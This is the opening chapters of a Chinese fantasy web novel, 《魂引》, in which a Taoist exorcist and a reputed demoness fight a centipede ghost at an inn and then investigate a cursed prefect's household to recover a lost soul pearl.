《魂引》
1. 百足鬼虫
“听说了吗,前些日杨知府不知怎的半夜跑到厨房去啃生肉,被起夜的家仆撞个正着,那家仆当场吓死过去了”。
“吓死?可我怎么听说是——”
轰隆——
雨势逐渐大了起来,夜空中一道闪电划过,伴着震耳的雷鸣,给这荒野偏僻的小客栈蒙上了一层阴郁。
外头阴雨朦胧,客栈内点着几盏晃晃悠悠的烛灯,几个形色不同的食客围坐在一起闲谈。
有出门赶路歇脚的,有商客被雷雨困住留宿的,也有附近村民出来吃饭的,这么些天南海北的人此时都聚在一起聊着天。
正上头着,外头一道震雷劈过,霹雳的闪电悚然将屋子照的一阵亮堂,众人骇住了声。
被狂风拍打的木窗前后不停拍打着,发出吱呀的磨人声,客栈掌柜顶着胡乱打进的雨水,硬着头皮将窗户关上。
众人的心就跟外头噼啪作响的大雨一样糟乱得很。
正在此时,客栈的门被敲响了。
掌柜的停了手中的动作,赶忙上前将门打开。
“客官,打尖儿还是住店?”
“我来避个雨。”
来人身着素纱衣袍,墨发挽起,以一木簪相定,眉眼俊挺又淡漠,身如修竹颀然,碎发染了水汽,似雨中仙客。
他寻一位置坐下,要了一碗粗茶后便静静等着。
众人看他这身打扮,心猜是某个修仙或修道之人,神色漠然置之,食客多瞧了两眼后又开始说些闲闻趣事。
“刚才说到哪儿了?那家仆怎么了?”有人追问。
“我表姑是杨家的老人了,据说那家仆不是被吓死的。”青年人压低了声,疑神道,“是被吃了。”
话落,众人皆骇,再没人发出声音。
方从客栈外进来避雨的道士手指一顿,轻轻将茶杯放了下去。
外头雨势丝毫没有减小的意思,反而越下越大,还时不时一阵响雷,众人有一句没一句的说着。
过了许久,有人回神,忍不住驳道:“你表姑莫不是唬人,若这家仆当真是被吃了,其余奴仆怎么不跑啊?”
青年不满:“我唬你作甚,我表姑亲眼见到那家仆没了胳膊双腿,连脸都被咬掉一般,那是血淋淋被抬出去的。”
“你们若不信,权当我没说,喝酒喝酒。”
几盏浑酒下肚,众人松快起来,扯开了话题聊别的。
“要我说,就是那女魔头没死,又来祸乱世间了。”
外头的雷声歇了,耳听着雨也小了,就当唐渡准备起身离开时,门又被敲响了。
这回来的是个姑娘。
不等掌柜的问,她自顾走进客栈坐下,随口要了壶热茶。
她头上顶着斗笠,遮住了大半张脸,只露出精巧的下巴。肩上的蓑衣还挂着雨珠,湿淋淋像是刚赶完路。
唐渡的目光停留在姑娘左手腕处的玉玲。
剔透玉身金丝镶边,以红绳相结,看着实在精美,可方才她一路走来,这玉铃竟没有发出一点声响,实在稀奇。
察觉到有一抹目光注视着自己,娄弦随之望去,是坐在客栈角落的一个道士,素雅道袍,目色审视。
这一抬,唐渡这才看清女子的面容,秀丽无双,犹若一缕清冷孤烟,只那双眼生的凌厉,像是被人拿了把刀架在脖子。
众人不知这边发生的小插曲,继续谈着方才的话题。
“那可是姒地娘娘亲手将她封在九巨山脉的,若那女魔头真的没死,可只会害个家仆?恐怕整个杨府,乃至你我都活不成!”
“说起这女魔头就可恨,我们寻常百姓吃了她多少苦,你说姒地娘娘怎么不连着她的刹冥台一块儿端了!”
“不仅要端了她的刹冥台,还得将她碎尸万段!永世不得超生!”
众人愤声而起。
这女魔头不仅视人命如草芥,连自己的双亲都不曾放过,双双惨死于剑下,如此残暴之人怎能留于世间!
娄弦将斗笠摘下,又将沾雨的蓑衣放在一侧。
热茶上桌,娄弦吹了吹,轻飘飘接过:“如此有骨气,还指望神仙做什么?刹冥台就在那儿,去端啊。”
众人闻声望来。
说话的是个女子,瞧着年岁不大,一身靓丽红衣,墨发高束,用一红发带相缠,远远望去尽是张扬。
她眉眼戏谑,讥笑着看着那方高谈的食客,抬手将茶饮放下。
有人被她这戏谑的眼神激怒,努而拍桌起身。只这一下,外头雷声忽然大响,原本减小的雨势亦有大涨之势。
那起身拍桌之人被这雷声吓噤了声,左右张望,其中一人拉了他的衣角,劝道:“我瞧着雨又大了,大家都是来躲雨的,别和姑娘家一般见识。”
那人本就是想作势恐吓娄弦,偏这一声惊雷让他不知所措,见有人劝解便顺坡而下,只是不忘恶狠狠怒瞪娄弦一眼。
娄弦自顾饮茶,也不再搭腔。
原本准备离开的唐渡见外头雷电交加雨势大作,便又要了碗茶水等着。
忽然间,他耳朵一动,外头似有什么走动的声音,淌着雨水,刮过草木,走的极轻极慢,像是刻意在掩盖自己的行踪。
但他听得清楚,此物就是朝着客栈来的。
娄弦也察觉到了外面的异样。
她眼帘轻抬,看着对面神色紧张的道士,又默默收回目光,装作毫不知情的喝茶躲雨。
其余食客不知外面发生了什么,自顾聊天喝酒,静等雨夜过去。
外头的雨噼里啪啦打在四处,似比一始猛烈了些,风吹得四面窗户呼哧作响。
“这雨怎么越下越大了,怪吓人的……”
凉风透过窗隙往人衣服里钻,有人裹紧了衣服。
笃笃笃。
有人扣响了客栈大门。
唐渡神色一肃。
娄弦朝外看去。
大门外笼罩出一个身影,雷电一劈,那身影更清楚了些,貌似是个弯腰驼背的老妇。
“雨太大了,劳烦里面的好心人开个门,好冷啊……”沧桑嘶哑的声音从门外传来,像是撕裂的布帛。
掌柜的见状,赶忙朝大门处走去,嘴上不停念叨着:“这怪天气,都不知是第几个躲雨的人了。”
正当他的手碰到门栓时,唐渡忽然起身大喊:“不能开!”
掌柜的止了动作,疑惑转头。
许是察觉到了里头的异样,老妇再次扣响了木门,声音带着些许可怜,一声又一声哀求:“求求好心人,开个门吧,雨太大了,我快冻死了……”
掌柜的心软。
如今世道不太平,外头更是妖邪肆意,不少可怜人都无家可归,今日若不开门,这老妇要是死在外面,那真是罪孽一桩啊。
“老人家只是进来避个雨,这有何不可的,亏你还是个修道之人。”说罢,掌柜的再次抬手去解门栓。
眼见止不住,唐渡迅速移身至掌柜的身旁,抬手一阻,牢牢摁住门栓。
“不能开!”唐渡的神色带了几分警示。
掌柜的被唐渡的眼神吓到了,他后退几步,看向门外不停拍打的
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老妇,咽了咽口水:“难道说……”
客栈大堂内所有人都提着口气,不敢出声。
堂内气氛越发紧张,只听唐渡低了声道:“外面的,不是人。”
话音刚落,外面的敲打声忽然止了。
就在众人准备松一口气时,只听“哐当”一声,那老妇突然用身体撞在了门上,一下堪比一下,似是将身体撞烂也要把门打开。
“为什么!为什么不给我开门!我要进来!”
众人吓得连连后退,眼睁睁看着门外的影子一下又一下撞击在门上,仿佛那道门成了最后的安全阻隔。
眼见门栓就要被撞开,所有人的心都提到了嗓子眼。
恰在此时,唐渡拿出一张符纸,口中念念有词,随即抬手一扬,那符纸受令般贴在了门隙之间,除外,四面窗户也未曾遗漏。
妖物受激。
众人不知发生了什么,只见门外佝偻的身影瞬间变长,身节分明,上百只触足攀附在门沿之上,不断挣扎,像枝杈鬼舞。
眨眼间,妖物的身影忽然下遁,没了踪迹,只留下门上挣扎的水渍。
外头传来窸窣的穿梭声,屋内如墨般凝固,无人敢喘大气,生怕妖物没有走远,等着屋内其他人出门相看。
烛火晃动,每个人脸上的惊惧被照的分明。
“没声了?”
“那妖物,是不是走了?”
有人弱弱开声,却不敢出门探看。
恰在此时,一道声音从角落传来:“阴云遮日,雨晦妖出,妖既出,何易驱?”
唐渡望去。
那姑娘安然自若坐在角落,不知是错觉还是什么,他竟看出了一丝幸灾乐祸之意。
娄弦指了指上方,嘴角挂着一抹笑:“上面。”
静听之下有“沙沙”之声响起,似春蚕啃食断断续续,仿佛是有什么东西在悄然攀爬,而后速度逐渐加快,触足与瓦片发出磨人的哒哒声。
唐渡神色一凝,心道不好!
顷刻间,乍然轰响,瓦片分崩碎石四散。
不等众人反应过来,一张鬼脸突地出现在屋顶上方,透过仅有的洞隙,鬼灵灵看着屋内的人。
这是张老妇的脸,脸上的皮肉皱缩在一起,看不见嘴,只有两只泛黄浑浊的眼珠不停打着弯。而这张脸后边却是身节分明的虫驱,上百只足器攀附在屋顶,发出窸窣的摩擦声。
一滴晶莹的黏液落在地上,娄弦起身,看着惊慌失色的众人提醒:“它饿了。”
话刚说完,百足鬼虫迅速从屋顶攀爬而下,两侧的足器在墙沿上迅速交替,众人吓得四处逃窜。
百足鬼虫身躯庞大,凡人在它跟前形同蝼蚁,哪是说逃就能逃的。
惊叫声四起,唐渡面色凝重,高声大喊:“切勿慌乱,百足鬼虫闻声辨人!”
眼下局面一片混乱,哪里还有人听唐渡的话。
娄弦有些惋惜的摇摇头:“尘世凡人,命如朝露,类如蜉蝣,道长不如自己逃命的好。”
唐渡眉头微蹙。
是了,这回没有看错,她确实是在幸灾乐祸。
女子嘴角噙着若有似无的笑,那张清丽秀容在此刻显得浓艳分明。
蛇蝎美人,铁石心肠。
不与她多说,唐渡即刻起阵,召出妖幡朝百足鬼虫困去。
天地之间,乾坤只内,体或有枯荣之殊,唯苍生性命无贵贱之别,鸿鹄、蝼蚁亦或是朝生暮死之蜉蝣,救之皆为仁术只根本。
从他学道术本事之日起,师父就是这么教他的。
2. 杨府的秘密
百足鬼虫的速度很快,唐渡召出四面妖幡后双手飞速反转起结,顷刻间,坍败的客栈上空束起四面金光,金光为壁,将百足鬼虫牢牢困住。
那妖虫似还不甘心,不断用身体相撞。
唐渡双目凝神,低喝一声,狂风掀起墨色道袍,宛若青山耸立,挺拔而又脱俗。
他唤出几张符纸,低吟之下速尔朝妖虫飞去。
百足鬼虫受激,不断扭动着身躯企图冲破这困阵,恰在此时,原本悬在空中的四面妖幡齐刷刷变成长剑,剑端锐利发寒,抵着夜色直直朝妖虫刺去。
百足鬼虫背上的黑甲坚硬如盾,几声脆响之后并未留下什么痕迹。
唐渡额角渗出密密汗渍,遂又翻转五指换了结印,原本飞向妖虫背部的长剑倏尔转了方向。
可百足鬼虫身躯庞大,唐渡的长剑灵活,却找不到下手的地方。
恰在此时,在妖虫的撞击下,四面金光忽而有了裂缝,原是细小的一条,后像蜘蛛网般四面扩散。
唐渡心道不好,加快了手中的速度。
谁知在这一瞬,金光四散成碎片,光华落地,百足鬼虫失去束缚,巨大的身躯随即朝前扑来。
只是——
眼前有阴影笼罩而来,娄弦睁大眼睛。
——又不是我要将你置于死地,来扑我做什么!
娄弦心中啐骂。
说时迟那时快,她手中凝力,旋即紫光大亮堪堪一挡,娄弦翻身跃至一旁:“蠢货!来袭我做什么!”
百足妖虫彻底被激怒,哪还分得清对方是谁,甩着分明的身节无差别袭来。
这样下去恐怕都得完蛋。
原本看戏的心情一扫而空,娄弦五指一张,一把长戟逐渐现行。
戟身通体透着寒芒,戟柄像是上等乌木所制,深沉厚重,四周又雕着条现世黑龙。枪尖一侧是锐利的月牙刃,弧光流动,锋利如霜。
“锃”一声,女子翻身而上,长戟在她手中转了个弯,对准百足鬼虫后背刺去!
手臂一震,黑壳挡住了长戟的利刃,只有轻微击打的痕迹。
娄弦持着长戟,弓步下滑,长戟在黑壳上滑出刺耳的脆响。
百足鬼虫欲将娄弦从背上甩下,半立起身疯狂四窜。
眼见情况不妙,唐渡又起结印相助,还不忘提醒娄弦:“伤它眼睛!”
娄弦无暇顾及,看准时机将长戟对准百足鬼虫的脸,趁它不备,跃身朝其扎去!
“用你提醒!”娄弦咬牙,将整根长戟没入百足鬼虫的身体,而后又迅速拔出,溅出一身血肉。
百足鬼虫吃痛,嘶吟怒撞,随后长躯一仰,整个身子重重落在地上,溅起泥泞泥水。它的触足频繁挠动,逐渐没了生息。
雨气中沾着泥腥味,又夹杂着浓烈的腐臭味,夏风一扬,难免令人作呕。
原本的客栈化为一摊废墟,桌椅皆成了废木,地上还躺着几具没了声息的尸体,方才那一战宛若噩梦,饶是回想就令人发抖。
娄弦收戟立在一侧,喉间血气翻涌。
果然,凭借体内三颗魂珠根本无法调气。
自九巨山脉解封后,娄弦魂珠一分为十四散人界,三年时间只寻回三颗,还有七颗下落不明,光凭寻回的三颗根本无法调运内息,连使用天悲戟都有些困难,更别说重回刹冥台了。
唐渡不知娄弦心中所想,只见她脸色发白似有些难受。
若换做往常他大概会上前慰问一番,可偏偏此人木心石腹,祸不及自身高高挂起,他不喜偏私利己之人,遂也只是瞧了她一眼便去察看受伤之人。
……
昨夜下了雨,第二日倒是晴天郎朗,既不过分燥热也不刺骨侵寒。
泸州近年来未受妖兽侵袭,百姓安定人欢马叫,两小童一手拿着糖葫芦,一手拿着木风车随街追逐,清铃笑声传至街尾。
各式各样的摊位挤满了道路,商户高声叫卖,远处还有卖艺者敲锣打鼓之声,琐碎、世俗却又多姿多彩。
杨府便坐落在东街处。
门楣高严宽阔,足高丈尺有余,朱红漆面已有些许斑驳,可仍不碍其尊贵。可偏偏这高门阔府之下,散着股耐人寻味的气息。
好浓的腐味。
明明是气派华贵的府邸,可门前冷落,压抑静谧的像一座从未住人的死宅,略显萧条清冷。
娄弦在门口站立许久,终是扣响了大门。
环扣与朱红大门在空中相撞,一声接着一声,直到第四声落,厚重的大门发出低吟,门缝渐开,一张布满皱着的脸露了出来。
大概是杨府的管家。
他探出头,戒备的看着门外之人:“何事?”
“捉妖。”
娄弦答的利落,那老管家却狐疑起来。
杨家的情况外面虽有所传言,可具体发生了什么事却无人知晓,眼前这姑娘瞧着年纪轻轻,还不如自家公子年长,她能捉什么妖?莫不是上门来骗取银两的。
“走走走,这里没有妖给你捉!”老管家不耐烦挥了挥手,说着就要把门关上。
谁知在关门的一刹那,似有股什么力量阻住了,无论怎么使劲,门却纹丝不动。
老管家讶异抬头。
门隙处拦着一只手。
再看那女子,红衣裙袍身姿挺立,如冬日凛冽枝头的寒梅,偏面色促狭,像是故意与你做对。
看着瘦胳膊瘦腿的,这力气怎恁大。
红衣女子道:“医者尚知讳疾忌医,别等到妖兽将你拆吃入腹了再追悔莫及啊。”
女子说的轻松,可语气却隐隐含了恐吓之意。
老管家背后一凉。
回想起近日府上种种,若老爷真是得了恶疾罕症,何至于何至于……
小厨房血肉模糊的场景重现脑海,空气中似又飘起了浓烈的血腥气,腹中一阵翻涌。
老管家面色惨白,重新打量了眼前女子:“我先去禀报公子,你且等着。”
娄弦松手,做了个“请”的动手。
大门在眼前关上,娄弦静足。
风吹着树叶簌簌作响,路上行人来往,马车穿过街道。
眼下到了午时,日头逐渐热烈起来,不远处的老槐下坐着乘凉闲谈的妇人,理着手中丝线。
约莫半柱香功夫,大门再次打开了。
“姑娘,公子在前厅堂邀您过去。”老管家没了先前的不耐,毕恭毕敬道。
娄弦抬了步子入府。
杨府精雅别致,远处木雕小桥假山叠嶂,虽不比京城中高门阔府的奢华靡丽,却也高雅幽静。有丫鬟提了水泼到青石板上,石板路被冲的光滑温润。
下人们都在忙着手中的事情,没有人朝娄弦这方看来。
一路走来,树影花香,流水淙淙,一切看起来再寻常不过。
穿过回廊,娄弦跟着老管家到了正堂。
“公子,人到了。”
上头坐着的正是杨老爷之子,杨轩。
此人立如兰芝玉树,笑如朗月入怀,一袭青衫更是清新脱俗,即使面露疲色也难掩其气质。
是个样貌俊朗的男子。
不过,娄弦还是诧异了一番。
在这尸腐弥漫妖气横生的府中,杨公子竟不染一丝污秽,身上既没有腐味也没有妖气,与寻常人没有任何区别。
可此情此地,越正常的,反而越不正常。
杨轩不知娄弦心中所想,万分热
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情招呼其坐下,又命人上了最好的庐山云雾。
“听老丁说,姑娘能解我府上之难?”
杨轩是独子,自小受杨知府教诲,言语间皆是谦谦君子的模样,像是被人打磨过的良玉,不急不躁。
娄弦低头品茶。
庐山云雾入口微苦,回味又觉憨厚甘甜,初闻时的栀子花香渐被青涩竹香替代,味道不错,但她有些喝不惯。
娄弦将茶盏放至一侧,想了想说:“府上可有什么奇怪之人?”
奇怪之人?
杨轩困惑。
生母早逝,父亲再未续弦,自己与妻子朱儿成婚三年有余从未吵架拌嘴,就连府上的家仆也都是用惯的老人,已经许久没有买奴仆了,何来奇怪之人。
想罢,杨轩摇了摇头。
娄弦的手不经意搭上玉铃。
那是枚做工精巧的玉玲,红绳相结,衬的女子手腕愈发细腻纤细,偏偏从入门到现在,这玉玲没有发出一点声响,仿佛只是个美丽配饰。
早在许久以前,世间有一神物,名为引魂铃,形若凝冰透珠,能寻丢失之魂魄。
其性怪异,行走之间悄然无声,唯遇主魂魄,铃主方能听其鸣,怜他人不得闻铃音。
娄弦腕间的引魂铃可是费了好大劲才拿到的。
铃声指明此处,定不会出错,只是杨轩没有察觉。
娄弦正要说什么,原先离去的老管家又进门来告:“公子,唐道长来了。”
杨轩的脸上涌起一抹喜色,像是抓住了救命稻草,赶忙上前传道:“快快请他进来。”
唐道长?
娄弦心头发惑,杨家已提前找了人相看?
很快,娄弦那抹浮色又消了下去。
她本就不是为了解杨家之难前来的,不过是引魂铃指向此处,夺回原先丢失的魂珠罢了,捉妖,只是个借口。
杨轩看了眼娄弦,解释道:“父亲得怪病许久,原先也找了江湖术士相看,说是府邸聚邪气,风水有异,唯有拓土扩建扭转这风水才能使父亲好转。”
“可那江湖术士只提了法子,却不知如何拓土,这才请了唐道长来帮忙。”杨轩说着,又怕娄弦多想似的,“姑娘莫要多心,多一个人多一份法子,只要能救我父亲,什么方式我都愿意试试。”
言下之意便是说,不论是拓土还是除妖,只要是对杨老爷有益,都是他的座上宾。
这头二人相谈着,那头所谓的唐道长已抬腿入门。
那抹熟悉的素纱道袍映入眼前,来人依旧是那副淡漠的模样,好似枝头高挂的悬月,清冷疏离。
浓墨般的头发被木簪相定,露出清晰的轮廓,郎艳独绝,世无其二。
唐渡大概也没想到会在这里碰到娄弦,面露微异,又很快收于表面。
雨夜客栈后,他对此人的印象说不上好,甚至还有些反感,遂相见时也未说话。
杨轩并未察觉其中气氛的微妙,只当二人初次见面有些拘谨,引了话道:“这位便是我先前与你提的唐道长,唐渡。”
“这位是……”杨轩的话一顿。
他与这姑娘也是第一次见,只因老丁说是为府上中邪一事而来,这才让她进门,别的就一概不知了。
见杨轩为难,娄弦利落吐出二字:“娄弦。”
“原是娄姑娘。”杨轩恍然大悟。
世人多称她为魔头,却不曾知道她姓名,因此她也不怕别人知道她的名字。
唐渡微微颔首,目光并未多留。
他本就不爱说话,师父仙蜕后,他独来独往惯了,鲜少与人亲近,平日除了捉妖驱邪对旁的事并无兴趣。
“杨老爷最近身体如何了?可有好转?”唐渡问。
3. 杨府的秘密
路上已听闻杨府遇邪一事,可具体为何,杨轩在信中并没有明说。
说到自己的父亲,杨轩愁容难掩。他叹了口气,有些无奈地说:“此事也不知如何说起,正是因为邪乎,这才请唐道长上门相助。”
杨夫人早逝,杨老爷一人将独子拉扯长大,又请先生教其读书识礼,父子二人情感颇深。
平日里杨老爷待人敦厚,从不与人结怨,泸州百姓对其更是敬重爱戴,可就在两年前,杨老爷生了场怪病,醒来之后就跟变了个人似的,既不爱出门也不爱与人说话,整日将自己关在屋子里,见不得光亮。
甚至有一回杨轩进屋,骇然发现杨老爷一人爬到了悬梁之上,之后他又总做些奇怪的动作,每回杨轩与他说话,他似乎都听不懂杨轩在说什么,只转着眼珠东张西望。
杨轩担心父亲的身体,请了许多医官都不见效,有江湖术士说是中了邪。
“不久前发生了一件事,恐怕你们也听说了,我父亲一人跑到厨房啃起了生肉,还将起夜的家仆吓死了。”说到这,杨轩的脸色开始泛白,像是回忆起了什么恐怖的东西。
家中异事,自然是人越少知道越好,可这府中的事哪里瞒得住。既然瞒不住,哪怕藏着点什么也好。
唐渡没有追问,只道:“先带我见见杨老爷。”
……
杨知府所住的院子靠后,听杨轩说,自从杨知府得了怪病后,院子里的仆从都解散了,除了平日里几个扫院的丫鬟再没什么人来。
杨轩断断续续说着,三人穿过游廊小径,来到了杨知府的院落。
院子看起来萧瑟清冷,池面飘着一层落叶,凝固又安静,安静到仿佛这个院子并未住人。
杨轩将手搭在门上,却迟迟没有推开门。
他似乎在顾忌什么,犹豫半晌道:“父亲如今的模样,恐有些特别……”
“吱呀”一声,伴着些许浮尘,一股湿霉味迎面扑来。
屋子遮掩的密不透光,唯一的光源便是这扇门,角落的古琴若一位暗哑老人,静静躺在红木琴桌上。
案台上的豆式炉已许久没有点燃了,无声无息伏在香案。
帷幔挂在两侧,床榻上,杨老爷披头散发趴在床上,四肢不知被折断了还是什么,以一种十分怪异的姿势卧在床榻。而他的腰腹平白生出两块肉瘤,似有什么东西要从里面长出来。
察觉到有人进屋,杨老爷幽幽将头转了过来。
这双眼睛几乎没有眼白,就这么漆黑空洞望着他们,叫人心惧。
唐渡的神色微微一动。
这是一具已经妖化的身体,虽还能看出人的模样,可却已经没了人的意识,宛若行尸走肉。
娄弦的表情并没有什么变化。
她不关心杨老爷变成什么模样,她只是有些遗憾,魂珠不在他身上。
“不是被附身。”一道清冷的声音打破沉寂,唐渡眉头紧锁,目光依然停留在杨知府身上,“府上可有什么奇怪的人?”
奇怪的人?
怎么和这女子问了同一个问题。
杨轩看了眼娄弦,如实道:“府上已经许久没有买奴仆了,自从父亲生病后,也未有什么人登门。”
“那便是有妖物藏匿其中。”唐渡声音笃定,所思的眼神在杨轩身上停留一滞,后又很快挪开,“杨老爷中邪恐怕和风水无关,我们先出去吧。”
和风水无关,莫非真和妖邪有关?
杨轩将门阖上,着急道:“娄姑娘也是这么说的,莫非府中真藏着我不知晓的大妖?”
唐渡再次将目光转向娄弦,意有所指道:“杨公子,对不明来历之人需得谨慎,切不可掉以轻心。”
青年神色淡漠,如玻璃珠透明的眼珠淡淡落在娄弦身上,眼睫半遮,疏离而又清冷。
明明是谪仙般的人儿,偏偏这个语气,实在有些不太客气。
娄弦低低一笑,只是那笑意并未达眼底,单单做给别人看:“唐道长倒也不必对我有这么大的敌意。您是救苦救难的活菩萨,我么,是独善其身的凉薄客,并非一路人。”
最后一句话说的倒是不错,并非一路人。既然是不同道上的人,说再多也无用,有这个闲聊的功夫,不如赶紧将那妖物捉出来。
唐渡嘴唇抿了抿,再未说话。
杨轩不知二人先前认识,可他不是迟钝之人,多少也看出了两人有些不对付,遂缓解了氛围道:“二位,眼下天色也不早了,我命人收拾两间厢房又叫下人安排些吃食送到屋里,今日好好休息一番,如何?”
“多谢。”
“有劳。”
二人异口同声道。
……
游廊上的灯笼散着昏黄光晕,有几个丫鬟提着灯疾步走过,光晕拉长排排身影,最后消失在转角。
褪去了白日的喧嚣,此刻在浓重黑夜的笼罩下,小院安静如墨。
娄弦和唐渡的屋子相邻,只有一墙之隔。屋门紧闭,谁也不打扰谁,此时两人屋内的灯都亮着。
夜风从窗隙吹进,油灯上的火苗晃晃悠悠,娄弦躺在床榻之上,双手交叠枕在脑后,一腿架在另一腿膝盖,姿态惬意又豪放。
娄弦闭着眼,回想今日所见的人事,总觉得漏了些什么。
那些丫鬟家仆,除了身上浓重的腐味妖气,并没有魂珠的气息。
管家老丁在杨府干了三十年有余,算是看着杨轩长大,他的身上沾染了不少妖气,若不尽快脱离杨府,恐怕也离妖化不远。
杨知府之子,杨轩,仪表堂堂温润有礼,是个难得一见的美男子,只是在这妖气横天的杨府,他却纯净的宛若一块白玉,丝毫不受影响,就像有谁特意护着他,不叫他受伤。今早那道士若有所思的一眼,恐怕也是瞧出了其中的端倪。
至于杨老爷,彻底妖化的身躯如同病入膏肓的老者,怕是没有什么办法能将其救回了,即使有幸保有一命,日后也只能不人不鬼的活着。
这些人都不是……
还有……
娄弦揉着脑袋,忽然一道白光闪过,像是想起了什么。
还有杨轩的娘子!朱儿!
今早见了所有人,独独没有见过杨轩的娘子。
杨轩是在墓祭母亲时遇见的朱儿。
她是猎户的女儿,母亲在很久之前
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失踪了,她与父亲在这山中相依为命。后来在一次捕猎中,父亲被山兽咬死,失去双亲的朱儿只能学着父亲捕猎,这才艰难存活下来。
杨轩对朱儿的遭遇很是同情,加之她生的美丽,二人一见钟情私定终身。
奈何二人身份悬殊,杨老爷瞧不上猎户的女儿,为杨轩定了左家小姐的亲事,可杨轩执拗,非朱儿不娶,甚至以死相逼,连带着三天三夜米水未进。
杨老爷拗不过,又心疼自家儿子,最终无奈松了口,这才允了朱儿进门。
新婚夫妻浓情蜜意,即使到现在二人感情也依旧,成婚三年从未吵架红脸。
“成婚三年……”娄弦喃喃。
三年前,九巨山脉震荡,正是她冲破封印的时候,也是在那时,十颗魂珠散落人间,下落不明。
娄弦起身,轻轻摩挲着手腕处的引魂铃,嘴角勾起一抹耐人寻味的笑意。
还真是巧啊。
黑云遮住残月,将仅余的光亮掩埋,幽暗的小径愈发漆黑。
长汀轩内,青丝帷幔遮掩,双影叠叠,一重漫过一重。
屋内玉醉香燃尽,几缕青烟幽幽升染,长叹之余,榻上尽是旖旎之气。
似是意犹未尽,杨轩欲要翻身而上,朱儿拿着指尖抵住杨轩的胸膛,娇嗔道:“府上来了个捉妖师,还有个道士?”
“嗯。”杨轩搂着朱儿的腰肢,兴致盎然,“瞧着是有本事的,明日不如见见?”
朱儿摇摇头:“轩郎知道的,我最怕生人,还是不见了。”
杨轩想了想,便也应了。
朱儿是猎户的女儿,她一直认为配不上自己,嫁入府中这几年,府中有不少丫鬟婆子认为是朱儿高攀,从不给她主母应有的脸色,好几次让他撞见了心疼的不行。
后来立了规矩,那些家仆虽不在明面上碎嘴,可私底下闲言碎语依旧不少。
这些年来,杨轩对朱儿一直是愧疚的,所以他待她千般万般好,恨不得把这世上顶顶好的东西都给她,也正是因为如此,朱儿从不抱怨,一心一意跟着杨轩。
黑云飘过,残月重新露出光亮,照亮了长汀轩的一角,某处,一人的身影被拉长。
夏风吹扬了发系处的红飘带,夜影舞动,有些叫人迷眼。
“娄姑娘,你喜偷听夫妻房事?”
背后冷不丁传来一个声音。
月下,那抹素袍几乎要与夜色融合,可那不染一尘的气质又让人难以忽视,甚至还想多瞧两眼。
娄弦并未有被人抓包的羞耻感。
她承认,该听的不该听的都听了,可这并不是她的意愿,也是碰巧,所以不能怪她。
又见唐渡眉头紧蹙,满脸严肃的模样,瞬时恶向胆边生。
“怎么,唐道长错过了?”
“要么给你演示一遍么?”
娄弦笑嘻嘻的模样,哪里有姑娘家的局促忸怩,仿佛是在替他可惜。
唐渡嘴角紧绷。
此刻她的笑意更像是一种挑衅。
“真不害臊!”遂不停留,甩袖离去。
与此等厚颜无耻之人在一起,简直有悖道心!
4. 起杀心
看着唐渡离去的背影,娄弦敛了嘴角,原本充满笑意的眼神倏尔冷冰下来。
她回头看了眼灯火重重的卧房,大概是又点了一炷玉醉香,酣甜叫人发昏的烛香隐隐约约。
魂珠的气息愈发浓烈,像是无声的诉说欢愉。
娄弦面无表情转身。
方才她是想直接冲进去杀了朱儿夺回魂珠的,偏巧被这臭道士碰上了。
眼下还不能叫人起疑,只能另觅良机了。
……
回厢房路上,唐渡仍旧被娄弦的话气的发蒙。
“怎么,唐道长错过了?”
“要我给你演示一遍么?”
明知他是修道之人,还说出如此轻浮的话,可不是故意在戏谑他么。
唐渡关上门静坐下来。
他本有事想找杨轩商量,奈何去的不是时候,不仅听了些不该听的,还见到了不想见的人,白白被她捉弄一番。
愠怒之余,唐渡渐渐冷静下来。
方才被娄弦气得不轻,现下细想,她怎么会出现在杨轩的院子?瞧她刚才说话的模样,隐隐有些不悦,像是坏了她什么好事。
总不能真是偷听房事吧?
唐渡被自己荒唐的想法无言到了。
想起她在客栈幸灾乐祸的模样,这恐怕不是她的兴趣。
罢了,日后多多提防就是。
天边泛起鱼肚,入夏的天光总冬日来的早些,杨府一早就有人开始忙碌起来。
家仆扫了昨夜被风吹落的树叶,又开始擦拭各院落的门窗地面。
娄弦伸着懒腰打开卧门,只听旁边传来“吱呀”一声。
她转头。
道袍轻掀,颀长的身影落入眼中,道髻以素木簪相定,板正又端庄。
“唐道长起得真早。”娄弦不咸不淡打着招呼,笑眯眯看着他。
唐渡眉头微蹙。
她总是这样,给人纯良无害的模样,偏偏心思难猜,让人捉摸不透。
“早。”唐渡冷冷回应。
二人抬腿从小院阶台走下,一暗一扬,步履整齐,实在是有些养眼。
娄弦目视前方,随口道:“唐道长睡的如何?”
“不错。”
二人齐步转过回廊,左右并排而行,谁也不越过谁,谁也不落下谁。
唐渡又道:“昨夜娄姑娘出现杨公子院落,总不能真是去偷听墙角的吧。”
娄弦并不看他,反唇相讥:“那唐道长呢?又为何出现在那里?”
二人过了天井到正堂,杨轩已备好早膳坐在桌前等他们了。
杨轩生的温润细腻,举手间尽是翩翩公子之雅,虽如此,可眉间的愁容仍让人难以忽视。
“自是有事要与杨公子商量了。”唐渡坐下,衣袍轻轻一甩,目色端正看向娄弦。
娄弦挑眉点头,笑而不语,端了丫鬟递来的白毫银针。
入口甘甜醇厚,清润鲜爽,好茶。
杨轩不知他们二人在说什么,只听到唐渡那句有事与他商量,便顺了唐渡的话问:“唐道长是有什么眉目了吗?”
昨日入杨府,唐渡只觉妖气环绕,其中还夹杂着不可忽视的腐臭味,像是人死多日未入土的味道。
这股臭未弥漫在整个府邸,偏偏杨轩不受侵染。不仅如此,他周遭气场纯净,像是有谁为保他特意开了一方净土。
唐渡原只是怀疑,昨夜入了院,心中那抹疑云终是得解。
望着杨轩询问的眼神,唐渡顿了顿:“杨公子,你与夫人是如何相识的?”
杨轩滞了一下,心中道怪。
自昨日唐道长登门以来,朱儿从未露面,好端端的怎提起她来。
杨轩虽惑,可还是如实道:“那时母亲刚去世不久,我上山墓祭,正是在天云山碰见的朱儿。”
天云山峰高耸入云,长年云雾缭绕,说是最接近天界的山峰,人死后埋至此处,可入天庭做神仙。
传言不知真假,可上天做神仙总比下地做鬼怪来的好。
说起与心爱之人的相遇,杨轩心中蜜意渐涌。
妻子朱儿是个难得一见的美人,每回杨轩上山为母山祭都能碰见她,仿佛朱儿就在此地特意等他一般。时间一久,一来二去,二人便生了情愫。
只是朱儿出生低微,双亲又早亡,杨老爷瞧不上她,一心想要配个贵女给自家儿子,最后虽靠绝食让杨老爷松口,可也正是朱儿入门之后,杨老爷的身体出现了怪症。
